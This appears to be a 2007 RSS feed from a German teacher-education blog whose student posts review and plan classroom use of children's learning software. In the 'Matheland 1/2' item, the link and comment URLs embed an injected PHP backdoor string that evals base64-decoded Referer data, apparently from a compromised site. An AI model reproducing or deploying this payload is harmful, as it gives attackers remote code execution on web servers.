<p><font face="Times New Roman">Der Palast des Rechenmeisters deckt den Bereich des Kopfrechnens im Zahlraum bis 30 ab. Hier l&#228;uft automatisch die Zeit ab- in Form einer Sanduhr am linken Rand. Zus&#228;tzlich zu dem H&#228;kchen oder Kreuz hinter jeder Aufgabe, signalisiert auch ein Ton, ob die Aufgabe richtig gel&#246;st wurde. Nach einem Aufgabenblock, der zwischen 4 und 5 Aufgaben enth&#228;lt, erf&#228;hrt man wie viele Aufgaben richtig gel&#246;st wurden. „Du hast vier von vier Aufgaben richtig gel&#246;st. Du bekommst einen Dschungeltaler.“</font><font face="Times New Roman">Bei fehlerhaften Eingaben, bekommt man eine R&#252;ckmeldung, die eine Hilfestellung mit einschlie&#223;t, und einen zweiten Versuch.</font><font face="Times New Roman">Zum Beispiel: Frage, wie viel das Doppelte von drei ist. Wenn man dann 7 eingibt, folgt: „Die Zahl ist zu gro&#223;.“</font><font face="Times New Roman">Wenn die Antwort auch beim zweiten Versuch falsch ist, bekommt man die n&#228;chste Aufgabe.</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Wenn die Zeit abgelaufen ist, bekommt man eine R&#252;ckmeldung, wie viele Aufgaben man richtig gel&#246;st hat: „Die Zeit ist abgelaufen. Du hast von 5 Aufgaben eine richtig gel&#246;st. Das war leider noch nicht alles richtig. Versuche es noch einmal.“</font><font face="Times New Roman"> </font></p>
<p><strong><u><font face="Times New Roman">Fazit</font></u></strong><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Da alle Texte auf Wunsch auch vorgelesen werden k&#246;nnen, ist es nicht nur f&#252;r Schulkinder m&#246;glich und sinnvoll, sich mit dieser Lernsoftware zu besch&#228;ftigen, sondern in gewissem Ma&#223;e sogar schon f&#252;r fortgeschrittene Kindergartenkinder. Zum Beispiel d&#252;rfte das Z&#228;hlen der &#196;pfel beim Apfelbaum bereits einigen Kindern in diesem Alter gelingen.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Besonders sch&#246;n an dieser Software finden wir die gro&#223;en Bem&#252;hungen zur Motivation der Kinder. Wie oben bereits erw&#228;hnt, kann das Kind w&#228;hrend seiner Arbeit Dschungeltaler sammeln, um sich auf der Ranking-Liste m&#246;glichst weit vor zu arbeiten. Da es m&#246;glich ist, mehrere Kinder gleichzeitig anzumelden, findet so auch ein gewisser Wettkampf statt und die Kinder entwickeln Ehrgeiz, besser zu werden. </font></p>
<p><font face="Times New Roman">Ein weiterer guter Punkt zur Motivation ist die M&#246;glichkeit, sich selbst Urkunden auszudrucken, die dem Kind seine M&#252;hen und Ergebnisse bet&#228;tigen.</font></p>
<p><font face="Times New Roman">Au&#223;erdem wird das Kind auch w&#228;hrend seiner Arbeit immer wieder gelobt, indem es H&#228;kchen bekommt und hin und wieder etwas gesagt wird wie: „Klasse, alles richtig!“ Auch nach den Aufgabenbl&#246;cken wird dem Kind noch einmal vor Augen gef&#252;hrt, wie viel es schon geschafft hat. Auch schw&#228;chere Kinder werden hierbei nicht demotiviert.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Ebenfalls ein guter Aspekt dieser Software ist, dass vor allem bei Karla dem Krokodil den Kindern Eselsbr&#252;cken angeboten werden. Da das Krokodil immer nach der gr&#246;&#223;eren Zahl schnappt, k&#246;nnen sich die Kinder die Zeichen besser einpr&#228;gen. Darauf wird au&#223;erdem zus&#228;tzlich aufmerksam gemacht, wenn das Kind einen Fehler gemacht hat, sodass das Kind diese Br&#252;cke immer wieder vor Augen gef&#252;hrt bekommt und sich wahrscheinlich eher merken kann.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Etwas zweifelhaft finden wir dagegen den schwankenden Schwierigkeitsgrad der Aufgaben. Zwar ist es sinnvoll, dass die Aufgaben leicht anfangen und dann gesteigert werden, jedoch ist der Schwierigkeitsgrad von den einzelnen Bereichen sehr unterschiedlich. So befasst sich der eine Bereich bereits mit dem Zahlenraum bis 100 (Bankschalter), wobei in der ersten Klasse nur der Zahlenraum bis 20 thematisiert wird. Auf der anderen Seite beinhaltet die Rechenraupe zum Beispiel nur Aufgaben bis 10, sodass keine Aufgaben mit Zehner&#252;bergang m&#246;glich sind, obwohl diese schon ab Mitte der ersten Klasse im laufenden Unterricht vorkommen. </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Insgesamt w&#252;rden wir sagen, dass es sich bei dieser Software eher um eine zus&#228;tzliche Art des &#220;bens geht. Die Kinder lernen aber nicht direkt neue Dinge. Zur Vertiefung k&#246;nnte man (vor allem) diese Kurzversion aber zum Beispiel als eine Station innerhalb von freier Arbeit im Unterricht gut einsetzen, da sie wenig zum Spielen verf&#252;hrt. Die Kinder k&#246;nnen so wirklich zum &#220;ben kommen.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Einsatz der Lernsoftware &#8220;Mathetiger 1/2&#8243; im Grundschulunterricht</title>
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		<pubDate>Wed, 04 Jul 2007 12:00:57 +0000</pubDate>
		<dc:creator>Fischerin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=311</guid>
		<description><![CDATA[Von: Katja Nolte, Anna-Maria Kastner und Annette Fischer 1. Variante: Als F&#246;rderungsma&#223;nahme im Matheunterricht:  einzelnd und unter Vorgabe der zu bearbeitenden Aufgabentypen bei &#8220;schw&#228;cheren&#8221; Sch&#252;lernInnen zur &#220;bung und Festigung des Unterrichtsinhaltes bei &#8220;durchschnittlichen&#8221; und &#8220;st&#228;rkeren&#8221; Sch&#252;lernInnen zur Wiederholung und Erweiterung der mathematischen F&#228;higkeiten 2. Variante: Unterichtseinheit mit &#8220;Mathetiger 1/2&#8243;: Voraussetzung: Computerraum mit mind. einem PC [...]]]></description>
			<content:encoded><![CDATA[<p>Von: Katja Nolte, Anna-Maria Kastner und Annette Fischer</p>
<p>1. Variante: <strong>Als F&#246;rderungsma&#223;nahme im Matheunterricht</strong>: </p>
<ul>
<li>einzelnd und unter Vorgabe der zu bearbeitenden Aufgabentypen</li>
<li>bei &#8220;schw&#228;cheren&#8221; Sch&#252;lernInnen zur &#220;bung und Festigung des Unterrichtsinhaltes</li>
<li>bei &#8220;durchschnittlichen&#8221; und &#8220;st&#228;rkeren&#8221; Sch&#252;lernInnen zur Wiederholung und Erweiterung der mathematischen F&#228;higkeiten</li>
</ul>
<p>2. Variante: <strong>Unterichtseinheit mit &#8220;Mathetiger 1/2&#8243;:</strong></p>
<ul>
<li>Voraussetzung: Computerraum mit mind. einem PC f&#252;r zwei Sch&#252;lerInnen</li>
<li>entweder Wiederholungen bekannter Aufgaben oder Einf&#252;hrung neuer Themen (z.B. Rechnen mit Geld, Raum-Lage-Beziehungen, Verdoppeln und Halbieren, Parkettirung,&#8230;)</li>
<li>Vorgabe der zu bearbeitenden Aufgabentypen</li>
<li>Software erm&#246;glicht Arbeiten auf individuellen Niveaustufen zu einem Aufgabenbereich</li>
</ul>
<p>3. Variante:<strong> Als Erg&#228;nzung zum &#8220;normalen&#8221; Mathematikunterricht:</strong></p>
<ul>
<li>Zeitpunkt: Pausen, Zusatzaufgabe nach schneller Fertigstellung vorheriger Aufgaben,&#8230;</li>
<li>einzelnd oder zu zweit (Partnerarbeit f&#246;rdert gleichzeitig die sozialen Kompetenzen , wie z.B. Teamf&#228;higkeit, R&#252;cksichtsnahme, Hilfestellungen geben bzw. annehmen)</li>
<li>freie Aufgabenwahl</li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Einbindung von Matheland 1/2 in den Unterricht</title>
		<link>http://www.didactalab.de/teachlab/2007/07/04/einbindung-von-matheland-12-in-den-unterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/04/einbindung-von-matheland-12-in-den-unterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 04 Jul 2007 11:44:57 +0000</pubDate>
		<dc:creator>Susanne Knöfel</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=312</guid>
		<description><![CDATA[von: Christa Zeglin, Nathalie Miller und Susanne Kn&#246;fel Wie kann das Programm sinnvoll eingesetzt werden? Matheland eignet sich nicht nur f&#252;r das Lernen zu Hause, sondern auch f&#252;r Einzel-, aber auch f&#252;r Partnerarbeit im Mathematikunterricht der GRUNDSCHULE. Lerninhalte Matheland 1/2 Orientierung im Zahlenraum Addition und Subtraktion Multiplikation und Division Sch&#228;tzen Blitzrechnen/Kopfrechnen R&#228;umliches Vorstellungsverm&#246;gen Rechnen mit [...]]]></description>
			<content:encoded><![CDATA[<p>von: Christa Zeglin, Nathalie Miller und Susanne Kn&#246;fel</p>
<p><strong><u>Wie kann das Programm sinnvoll eingesetzt werden?</u></strong></p>
<p><u></u></p>
<p><em>Matheland</em> eignet sich nicht nur f&#252;r das Lernen zu Hause, sondern auch f&#252;r Einzel-, aber auch f&#252;r Partnerarbeit im Mathematikunterricht der GRUNDSCHULE.</p>
<p><strong><u>Lerninhalte Matheland 1/2</u></strong><u></u></p>
<ul>
<li>Orientierung im      Zahlenraum</li>
<li>Addition und      Subtraktion</li>
<li>Multiplikation und      Division</li>
<li>Sch&#228;tzen</li>
<li>Blitzrechnen/Kopfrechnen</li>
<li>R&#228;umliches      Vorstellungsverm&#246;gen</li>
<li>Rechnen mit Geld</li>
<li>Sch&#228;tzen von L&#228;ngen      und Fl&#228;cheninhalten</li>
<li>Sachrechnen</li>
</ul>
<p>Alle lehrplanrelevanten Inhalte des Mathematikunterrichts der Grundschule werden kindgerecht ge&#252;bt und vertieft.</p>
<p>Da die Wochenplanarbeit, vor allem in der Grundschule, mehr und mehr als Methode zur Vermittlung von Unterrichtsinhalten verschiedener F&#228;cher wird, bietet es sich an, <em>Matheland </em>als Station bzw. Aufgabe in den Wochenplan zu integrieren. Das Programm kann hier in Form von Partner- oder Einzelarbeit eingesetzt werden. Es empfiehlt sich jedoch aufgrund meist technischer M&#246;glichkeiten/Bedingungen, zeitlichem Rahmen und unter Ber&#252;cksichtigung der F&#246;rderung von sozialen und kommunikativen Kompetenzen, <em>Matheland</em> 1/2 von mehreren Sch&#252;lerInnen bearbeiten zu lassen.</p>
<p><strong><u>Warum Partnerarbeit mit <em>Matheland </em>1/2 ?</u></strong></p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Planung &#252;ber Handlungsfortgang und Auswahl der Szenen fordert und f&#246;rdert <em>soziale</em> und <em>kommunikative</em> Kompetenzen</p>
<p><!--[if !supportLists]-->-         <!--[endif]--><em>Gemeinsame Entscheidungen</em> m&#252;ssen getroffen werden, z.B. Handlungsort, notwendige Ma&#223;nahmen</p>
<p><!--[if !supportLists]-->-         <!--[endif]--><em>F&#246;rderung der Diskussion und Reflexion</em> &#252;ber g&#252;nstige Rechenstrategien -&gt; gemeinsame L&#246;sungssuche bei Knobelaufgaben = effizienter</p>
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		</item>
		<item>
		<title>Einsatzm&#246;glichkeiten der Lernsoftware Chemicus im Unterricht:</title>
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		<pubDate>Wed, 04 Jul 2007 09:34:00 +0000</pubDate>
		<dc:creator>kathrin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[(am Beispiel des Themas: Der Treibhauseffekt) In unserer Pr&#228;sentation haben wir schon deutlich gemacht, dass diese Software eigentlich nicht f&#252;r den Einsatz im Unterricht geeignet ist (zu lange Spielzeit, keine themenspezifische Auswahl, keine &#220;bereinstimmung mit dem Lehrplan, schlechte technische Vorraussetzungen etc.). Wenn ich diese Software trotzdem im Unterricht einsetzen m&#252;sste, w&#252;rde ich dies folgenderma&#223;en tun: [...]]]></description>
			<content:encoded><![CDATA[<p><strong>(am Beispiel des Themas: Der Treibhauseffekt)</strong><br />
<img src="http://ec1.images-amazon.com/images/I/51SBPC4SM2L._SS400_.jpg" alt="Chemicus" height="213" width="213" /></p>
<p>In unserer <strong>Pr&#228;sentation</strong> haben wir schon deutlich gemacht, dass diese Software eigentlich <strong>nicht f&#252;r den Einsatz im Unterricht</strong> geeignet ist (zu lange Spielzeit, keine themenspezifische Auswahl, keine &#220;bereinstimmung mit dem Lehrplan, schlechte technische Vorraussetzungen etc.).</p>
<p>Wenn ich diese Software trotzdem im <strong>Unterricht einsetzen</strong> m&#252;sste, w&#252;rde ich dies folgenderma&#223;en tun:</p>
<p>Ich w&#252;rde mir ein <strong>Experiment aus der Software </strong>heraussuchen und dies losgel&#246;st von der restlichen Spielumgebung thematisieren. Der Lehrer / die Lehrerin m&#252;sste das Spiel bis zu der entsprechenden Sequenz durchspielen, diesen Spielstand abspeichern und dann auf alle Sch&#252;lerrechner transferieren. Auf diese Weise k&#246;nnten die Sch&#252;ler sich <strong>themenspezifisch </strong>auf ein Problem konzentrieren.</p>
<ul>
<li>Die Lernsoftware k&#246;nnte man meiner Meinung nach am besten direkt als <strong>Unterrichtseinstieg</strong> verwenden, um die Sch&#252;ler so neugierig zu machen und auf eher &#8216;spielerische&#8217;, aber auf jeden Fall handlungsorientierte Art an das Thema und die Problemstellung heranzuf&#252;hren.
<ul>
<li>Die Sch&#252;ler m&#252;ssten sich daf&#252;r in Kleingruppen (2-3) vor den Rechner setzen und das <strong>Experiment zum Thema Treibhauseffekt</strong> durchf&#252;hren. Die Versuchsumgebung wird hier durch ein Gew&#228;chshaus dargestellt. Da in dieser Sequenz die Folgen verschiedener Einstellungen (Verdunstung von Wasser, &#196;nderung der Temperatur etc.) sehr schnell und klar visualisiert werden, werden die Sch&#252;ler durch diese Auseinandersetzung schon an die Komplexit&#228;t und die Zusammenh&#228;nge zwischen den einzelnen Faktoren herangef&#252;hrt.</li>
</ul>
</li>
</ul>
<ul>
<li>Als n&#228;chsten Schritt k&#246;nnte der Lehrer das Thema vertiefen, in dem er kurze, theoretische Texte an die Sch&#252;ler verteilt. Hier w&#252;rde sich die Methode des Expertengespr&#228;chs anbieten. Mehrere Gruppen bekommen jeweils unterschiedliche Texte und beraten sich zuerst innerhalb ihrer Expertenrunde, was essentiell f&#252;r das Verst&#228;ndnis des Treibhauseffektes ist und wie man es den anderen am anschaulichsten erkl&#228;ren kann. Danach bilden sich neue, durchmischte  Kleingruppen mit jeweils einem Experten pro Thema. In diesem Durchlauf sollte die Darstellung der einzelnen Faktoren anhand des Experiments aus der Lernsoftware verdeutlicht werden.</li>
</ul>
<ul>
<li>Danach k&#246;nnten die Sch&#252;ler ihre Erkenntnisse anwenden, indem man sich von den begrenzten Bedingungen des Experiments l&#246;st und das Gelernte auf die reale Umwelt bezieht. Dies k&#246;nnte anhand der Erstellung einer kleinen, digitalen  Animation geschehen. Um den graphischen Arbeitsaufwand f&#252;r die Sch&#252;ler nicht &#252;berzustrapazieren, w&#228;re es ratsam, wenn der Lehrer die signifikanten, graphischen Elemente (Sonne, Regen, Wolken, B&#228;ume, Land, Meer etc. und  Pfeile um Zusammenh&#228;nge darzustellen ) schon vorbereitet. Sch&#252;ler m&#252;ssten diese dann nur in einem Bildverarbeitungsprogramm (z.B. Gimp) in Beziehung zueinander setzen und die vielen Einzelbilder zu einer kleinen Animation zusammenf&#252;gen. Um das Ganze noch mal zeitlich zu reduzieren w&#228;re es auch hier sinnvoll, dass nicht alle Sch&#252;ler eine komplette Animation erstellen, sondern dass sich jeweils eine Gruppe und einen Faktor k&#252;mmert und erst alle Ergebnisse zusammen die komplexe Animation ergeben.</li>
</ul>
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		<title>Bewertung der Lernsoftware ADDY Mathe 1./2.Klasse</title>
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		<pubDate>Wed, 04 Jul 2007 06:52:51 +0000</pubDate>
		<dc:creator>birgit ditzfeld</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Inhalte und Lernziele: Die Inhalte sind der Alterstufe &#252;berwiegend angemessen. F&#252;r das L&#246;sen der Aufgaben gibt es Punkte,die Zugang zu den Spielen gew&#228;hren. Negativ bewerten wir einen zu hohen Anspruch und ein &#220;berma&#223; an Text. Das Vorwissen der Lernenden wird nicht abgefragt. P&#228;dagogische Eignung: Die Inhalte sind dem Lehrplan angeglichen, es kann autonom aber auch [...]]]></description>
			<content:encoded><![CDATA[<p>Inhalte und Lernziele:</p>
<p>Die Inhalte sind der Alterstufe &#252;berwiegend angemessen. F&#252;r das L&#246;sen der Aufgaben gibt es Punkte,die Zugang zu den Spielen gew&#228;hren. Negativ bewerten wir einen zu hohen Anspruch und ein &#220;berma&#223; an Text. Das Vorwissen der Lernenden wird nicht abgefragt.</p>
<p>P&#228;dagogische Eignung:</p>
<p>Die Inhalte sind dem Lehrplan angeglichen, es kann autonom aber auch in Gruppen gearbeitet werden. Schwierigkeitsgrade sind unterschiedlich und diese Lernsoftware ist in der Schule und privat einsetzbar.</p>
<p>Didaktik:</p>
<p>Interaktionsm&#246;glichkeiten sind recht hoch, die Struktur ist &#252;bersichtlich und es gibt unterschiedliche Aufgabenbl&#246;cke zum Lernen &#8211; Vertiefen &#8211; Anwenden. Verschiedene Lerntypen werden ebenfalls angesprochen. &#220;bungen bauen aufeinander auf und behandeln ein bestimmtes Thema.</p>
<p>Lernerfolge zur&#252;ckmelden:</p>
<p>Zu jedem Programm existiert ein Handbuch. Fehler werden kommentiert und korrigiert.</p>
<p>Spa&#223; und Gestaltung:</p>
<p>Die Spiele wirken motivierend, auch die Grafik und Tonqualit&#228;t sind &#252;berzeugend.</p>
<p>Abschlie&#223;ende Bewertung:</p>
<p>Das Programm eignet sich vorwiegend zum &#220;ben, ist f&#252;r zu Hause eher geeignet als f&#252;r den Unterricht. Es gibt zu viele Ausweichm&#246;glichkeiten sich mit den Programm zu besch&#228;ftigen,  ohne jedoch zu lernen. Dar&#252;ber sollten sich Lehrkr&#228;fte und Eltern im Klaren sein.</p>
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		<title>Einsatz der Lernsoftware „Intensivkurs Deutsch“ w&#228;hrend des Unterrichts</title>
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		<pubDate>Tue, 03 Jul 2007 12:35:46 +0000</pubDate>
		<dc:creator>Sebastian Steinbach</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Wir w&#252;rden die Lernsoftware „Intensivkurs Deutsch“ nach der Einf&#252;hrung von grammatischen Inhalten f&#252;r DaZ-Lerner (DaZ: Deutsch als Zweitsprache) als eine Station im Stationszyklus einsetzen, in dem sich mit dem dargestellten grammatikalischen Ph&#228;nomen auseinandergesetzt wird. Wenn man die „interaktive Sprachreise“ w&#228;hrend des Unterrichts einbezieht, sollte man unserer Meinung nach darauf achten, diese Station in einem separaten [...]]]></description>
			<content:encoded><![CDATA[<p>Wir w&#252;rden die Lernsoftware „Intensivkurs Deutsch“ nach der Einf&#252;hrung von grammatischen Inhalten f&#252;r DaZ-Lerner (DaZ: Deutsch als Zweitsprache) als eine Station im Stationszyklus einsetzen, in dem sich mit dem dargestellten grammatikalischen Ph&#228;nomen auseinandergesetzt wird. Wenn man die „interaktive Sprachreise“ w&#228;hrend des Unterrichts einbezieht, sollte man unserer Meinung nach darauf achten, diese Station in einem separaten Raum aufzubauen. Dieses hat den Vorteil, dass diejenigen Sch&#252;lerinnen und Sch&#252;ler, die am PC sitzen, die &#220;bungen mit dem Headset ausf&#252;hren k&#246;nnen, ohne dabei ihre Mitsch&#252;ler in ihrem Lernprozess zu st&#246;ren. Des Weiteren kann so neben des Anwendens von neu erworbenem Regelwissen zur deutschen Grammatik die Aussprache ge&#252;bt werden. Da die st&#228;ndigen Anweisungen der Videotutorin die anderen Sch&#252;ler/innen ablenken und nerven w&#252;rden, sollte zumindest ein abgetrennter Bereich zur Verf&#252;gung stehen.</p>
<p>Vor dem Einsatz der Software muss sich die Lehrkraft intensiv mit dem Programm auseinandersetzen, um den Lernern genau sagen zu k&#246;nnen, in welcher „Stadt“ (Themenbereich) sie die aktuell behandelten grammatikalischen &#220;bungen finden k&#246;nnen. Durch das eigene Erproben der Lernsoftware wird ihr schnell bewusst, dass das Programm gerade bei der Kontrolle der Aussprache des Anwenders noch nicht ausgereift ist. Daher sollte sie die Aussprache der Sch&#252;ler/innen nicht au&#223;er Acht lassen und ihnen ein Feedback &#252;ber ihre absolvierten &#220;bungen und sprachlichen Leistungen geben.</p>
<p>In Freiarbeitsphasen k&#246;nnte man das Programm sicherlich als Alternative anbieten, da es zahlreiche &#220;bungen enth&#228;lt. Die Dialoge sind teilweise zwar relativ belanglos (man denke an die Pr&#228;sentation in der Vorlesung) es gibt aber auch eine Reihe von Gespr&#228;chen, die inhaltlich informativ sind (z. B. Gespr&#228;che &#252;ber St&#228;dte, Autoren, Politiker, etc.) und an die &#220;bungen angeschlossen sind, die sich auf das H&#246;rverst&#228;ndnis und das Herausfiltern von Informationen beziehen.</p>
<p>Da der Vokabeltrainer sehr umfangreich und alphabetisch geordnet ist, k&#246;nnte man ihn w&#228;hrend der Freiarbeit als Nachschlagewerk oder zum &#220;ben einsetzen.</p>
<p>Vor dem Einsatz der Lernsoftware sollte man auf jeden Fall allen Sch&#252;lern und Sch&#252;lerinnen eine kurze Einweisung in das Programm geben, da es sehr umfangreich ist und der IntelliPlan anfangs ohne Erkl&#228;rung durchaus verwirrend wirkt.</p>
<p>Als problematisch erweist sich die Tatsache, dass nicht mehrere Lerner ihre Lernst&#228;nde bzw. Progression im Programm gleichzeitig abspeichern k&#246;nnen. Wenn man die Ergebnisse festhalten m&#246;chte, m&#252;sste man den „blanko“ IntelliPlan einmal ausdrucken und f&#252;r alle Sch&#252;ler/innen vervielf&#228;ltigen. So k&#246;nnte jeder Anwender nach Absolvierung der &#220;bung seinen Prozentwert notieren.</p>
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		<title>&#8220;Lollipop und die Schlaum&#228;use&#8221; im Unterricht</title>
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		<pubDate>Tue, 03 Jul 2007 09:22:59 +0000</pubDate>
		<dc:creator>Julia Friedrich</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[von: Julia Friedrich und Jessica B&#246;ttcher   Schulstufe: 1. Klasse, 2. Halbjahr - Unterrichtsthema: H&#246;rverstehen, Pr&#228;positionen Unterricht vor dem Einsatz der Software: Um das Verstehen der m&#252;ndlichen Alltagssprache im Bezug auf Pr&#228;positionen zu f&#246;rdern, sollen die Kinder aktiv lernen was die Begriffe &#8220;auf, unter, neben, &#252;ber, etc.&#8221; bedeuten. Die Sch&#252;ler sollen aktiv im Klassenraum erfahren und [...]]]></description>
			<content:encoded><![CDATA[<p>von: Julia Friedrich und Jessica B&#246;ttcher </p>
<p> Schulstufe: 1. Klasse, 2. Halbjahr</p>
<p>- Unterrichtsthema: H&#246;rverstehen, Pr&#228;positionen</p>
<p>Unterricht vor dem Einsatz der Software:</p>
<p>Um das Verstehen der m&#252;ndlichen Alltagssprache im Bezug auf Pr&#228;positionen zu f&#246;rdern, sollen die Kinder aktiv lernen was die Begriffe &#8220;auf, unter, neben, &#252;ber, etc.&#8221; bedeuten. Die Sch&#252;ler sollen aktiv im Klassenraum erfahren und lernen, indem die KlassenlehrerIn sie auffordert, sich im Klassenraum zu bewegen.  Sie sollen sich beispielsweise auf den Stuhl, neben den Schrank oder unter den Tisch begeben.</p>
<p>Um diese &#220;bung zu vertiefen und als Transfer auf abstrakter Ebene wird dann die Lernsoftware eingesetzt. Hier k&#246;nnen die Kinder auf dem Spielplatz das Spiel &#8220;M&#228;usetheater&#8221; w&#228;hlen, wo sie den M&#228;usen dabei helfen, ein Zimmer aufzur&#228;umen. Sie sollen beispielsweise den Ball in den Schrank legen oder die Blume auf den Tisch stellen.</p>
<p>Danach folgt eine &#220;bung, in der die Sch&#252;ler die Pr&#228;positionen selber m&#252;ndlich verwenden sollen, sodass die bisherige Reaktion um Aktion/Produktion erweitert wird.</p>
]]></content:encoded>
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		<item>
		<title>&#8220;Lollipop und die Schlaum&#228;use&#8221;</title>
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		<pubDate>Tue, 03 Jul 2007 09:06:28 +0000</pubDate>
		<dc:creator>Julia Friedrich</dc:creator>
				<category><![CDATA[Reflektionen]]></category>

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		<description><![CDATA[von: Julia Friedrich und Jessica B&#246;ttcher  Cornelsen Verlag 2006 - Themen: &#220;bungen zum Lesen- und Schreibenlernen - Klassenstufe: Vorschule, 1. Klasse - Lernziele: spielerische F&#246;rderung von H&#246;ren, Sehen, Sprechen und Denken - autonomes Arbeiten ist m&#246;glich - handlungsorientiert - nur ein L&#246;sungsweg, aber viele Erkl&#228;rungen und Hilfestellungen bei den einzelnen Aufgaben; detailliertes Feedback f&#252;r Erwachsene [...]]]></description>
			<content:encoded><![CDATA[<p>von: Julia Friedrich und Jessica B&#246;ttcher </p>
<p>Cornelsen Verlag 2006</p>
<p>- Themen: &#220;bungen zum Lesen- und Schreibenlernen</p>
<p>- Klassenstufe: Vorschule, 1. Klasse</p>
<p>- Lernziele: spielerische F&#246;rderung von H&#246;ren, Sehen, Sprechen und Denken</p>
<p>- autonomes Arbeiten ist m&#246;glich</p>
<p>- handlungsorientiert</p>
<p>- nur ein L&#246;sungsweg, aber viele Erkl&#228;rungen und Hilfestellungen bei den einzelnen Aufgaben; detailliertes Feedback f&#252;r Erwachsene -&gt; Sprachstandstest</p>
<p>- Belohnung bei richtiger L&#246;sung (Partyzelt)</p>
<p>- verschiedene Schwierigkeitsstufen</p>
<p>- individuelle Anpassung an das Lerntempo der Kinder</p>
<p>- negativ: Erkl&#228;rungen der M&#228;use k&#246;nnen nicht abgebrochen werden</p>
<p>                  kann schnell langweilig werden, weil die Spiele trotz ansteigender Level gleich<br />
                  bleiben</p>
<p>                  kein detailliertes Feedback an die Kinder selbst, sonder nur an Erwachsene</p>
<p>- auf dem Hauptbildschirm ist ein Lernspielplatz zu sehen, auf dem es verschiedene Lernspielorte gibt</p>
<p> - zwei Schlaum&#228;use sowie die Kobolde Lolli und Pop begleiten die Kinder durch die Lernspiele:</p>
<p>1. <strong>Ballwerfen</strong>: Lesen auf Wortebene</p>
<p>2. <strong>H&#246;rw&#252;rfel</strong>: H&#246;ren und Unterscheiden von Lauten (&#8220;H&#246;r-Memory&#8221;)</p>
<p>Kartenp&#228;rchen muss zwei zueinander passende Reimw&#246;rter darstellen</p>
<p>3. <strong>M&#228;usetheater</strong>: Verstehen m&#252;ndlicher Alltagssprache (bes. Pr&#228;positionen und Farben, Prinzip: H&#246;ren und Handeln)</p>
<p>4. <strong>R&#228;tselbuch</strong>: F&#246;rderung eines m&#252;ndlichen Fachwortschatzes (zu verschiedenen Wissensbereichen, z.B. Verkehr, Tiere)</p>
<p>5. <strong>Robi Schlau</strong>: Roboter pr&#228;sentiert Bilder und benennt die dargestellten Begriffe. Die Kinder geben die Begriffe mit Hilfe der Tastatur ein.</p>
<p>6. <strong>Sandkastenspiel</strong>: 1-3 Spieler, wie Spielbrett aufgebaut mit W&#252;rfel und Figuren, die Felder vorw&#228;rts ziehen k&#246;nnen, Aufgabe: sinnentnehmendes Lesen (z.B. Regen ist&#8230;nass, trocken, s&#252;&#223;)</p>
<p>7. <strong>Wippe</strong>: Silben werden zu W&#246;rtern zusammengesetzt: eine Seite der Wippe ist mit zwei M&#228;usen besetzt. Zum Ausgleich f&#252;r die gegen&#252;berliegende Seite wird ein mehrsilbiges Wort gesucht.</p>
<p>8. <strong>Zauberbude</strong>: f&#246;rdert das H&#246;ren und Unterscheiden von Lauten: Kinder spielen mit Paarw&#246;rtern (Dose wird in Rose verwandelt)</p>
<p>9. <strong>Partyzelt</strong>: bei den Lernspielorten sammeln die Kinder K&#228;sest&#252;cke. Acht K&#228;sest&#252;cke ergeben einen K&#228;sekuchen &#8211; und dann kann die Party beginnen.</p>
<p>Zus&#228;tzliche Funktionen: </p>
<p>- Sammelmappe</p>
<p>-Schreibwerkstatt</p>
<p>- Sprachstandtest: getestet werden Wortschatz, Sprachverst&#228;ndnis, Einsatz des Artikels, Verwendung von Pr&#228;positionen, Reimw&#246;rter, Laute</p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
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		<pubDate>Mon, 02 Jul 2007 21:44:37 +0000</pubDate>
		<dc:creator>rf</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[SimCity / GoogleEarthHallo! Da der Teil verloregegangen zu sein scheint&#8230;.hier noch ein paar kleine Punkte, was die R&#252;ckmeldung von SIMCITY angeht&#8230;ich habs mal als Datei angeh&#228;ngt&#8230;muss man ja mal ausprobieren.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2007/07/wolf.ppt" title="SimCity / GoogleEarth">SimCity / GoogleEarth</a>Hallo!</p>
<p>Da der Teil verloregegangen zu sein scheint&#8230;.hier noch ein paar kleine Punkte, was die R&#252;ckmeldung von SIMCITY angeht&#8230;ich habs mal als Datei angeh&#228;ngt&#8230;muss man ja mal ausprobieren.</p>
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		<item>
		<title>Physicus &#8211; Die R&#252;ckkehr</title>
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		<pubDate>Mon, 02 Jul 2007 16:38:13 +0000</pubDate>
		<dc:creator>Annika Fricke</dc:creator>
				<category><![CDATA[Allgemein]]></category>

